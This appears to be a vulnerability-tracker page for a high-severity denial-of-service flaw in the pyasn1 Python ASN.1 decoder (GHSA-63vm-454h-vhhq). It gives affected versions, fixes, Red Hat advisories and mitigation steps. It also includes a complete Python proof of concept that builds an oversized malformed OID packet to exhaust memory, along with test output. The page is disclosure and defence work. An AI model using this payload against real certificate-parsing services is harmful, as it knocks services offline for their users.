GHSA-63vm-454h-vhhq is a high-severity (CVSS 7.5) CWE-770 vulnerability in pyasn1. A fix is available for pyasn1 — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-63vm-454h-vhhq.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
pyasn1Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS:
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource
# Deliberately set memory limit to display PoC
try:
resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
print("[*] Memory limit set to 100MB")
except:
print("[-] Could not set memory limit")
# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])
print(f"[*] Testing with {payload_size_mb}MB payload...")
payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)
# DER length encoding (supports up to 4GB)
if length < 128:
length_bytes = bytes([length])
elif length < 256:
length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
# 4 bytes can handle up to 4GB
length_bytes = b'\x84' + length.to_bytes(4, 'big')
# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload
print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
try:
print("[*] Decoding (this may take time or exhaust memory)...")
result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully')
print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string
print('[*] Converting to string...')
try:
str_result = str(result[0])
print(f'[+] String succeeded: {len(str_result)} chars')
if len(str_result) > 10000:
print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
except MemoryError:
print(f'[-] MemoryError during string conversion!')
except Exception as e:
print(f'[-] {type(e).__name__} during string conversion')
except MemoryError:
print('[-] MemoryError: Out of memory!')
except Exception as e:
print(f'[-] Error: {type(e).__name__}: {e}')
print("\n[*] Test completed")
Screenshots with the results:
DoS
<img width="944" height="207" alt="Screenshot_20251219_160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" /> <img width="931" height="231" alt="Screenshot_20251219_152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />Leak analysis
A potential heap leak was investigated but came back clean:
[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin
[*] First 64 bytes (hex):
01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[*] First 64 bytes (ASCII/hex dump):
0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..
0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....
0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @.....
0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[*] Digit distribution analysis:
'0': 10.1%
'1': 9.9%
'2': 10.0%
'3': 9.9%
'4': 9.9%
'5': 10.0%
'6': 10.0%
'7': 10.0%
'8': 9.9%
'9': 10.1%
Scenario
- An attacker creates a malicious X.509 certificate.
- The application validates certificates.
- The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect:
- LDAP servers
- TLS/SSL endpoints
- OCSP responders
- etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyasn1 | ≥ 0.6.1&&< 0.6.2 | 0.6.2pip install --upgrade 'pyasn1==0.6.2' |
Affected Products
debian linuxdebianpyasn1pyasn1Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyasn1, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyasn1 to 0.6.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-63vm-454h-vhhq is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.5 for RHEL 8 | python3.12-pyasn1-0:0.6.3-1.el8ap | RHSA-2026:13512 |
| Red Hat Ansible Automation Platform 2.5 for RHEL 8 | automation-controller-0:4.6.26-1.el8ap | RHSA-2026:3959 |
| Red Hat Ansible Automation Platform 2.6 for RHEL 9 | python3.12-pyasn1-0:0.6.3-1.el9ap | RHSA-2026:13508 |
| Red Hat Ansible Automation Platform 2.6 for RHEL 9 | automation-controller-0:4.7.9-1.el9ap | RHSA-2026:3958 |
| Red Hat Enterprise Linux 10 | fence-agents-0:4.16.0-13.el10_1.2 | RHSA-2026:1905 |
| Red Hat Enterprise Linux 10 | python-pyasn1-0:0.6.2-1.el10_1 | RHSA-2026:3354 |
| Red Hat Enterprise Linux 10.0 Extended Update Support | fence-agents-0:4.16.0-5.el10_0.8 | RHSA-2026:2309 |
| Red Hat Enterprise Linux 10.0 Extended Update Support | python-pyasn1-0:0.6.2-1.el10_0.1 | RHSA-2026:4138 |
Frequently Asked Questions
Is GHSA-63vm-454h-vhhq in your dependencies?
Find it across PyPI, including transitive dependencies.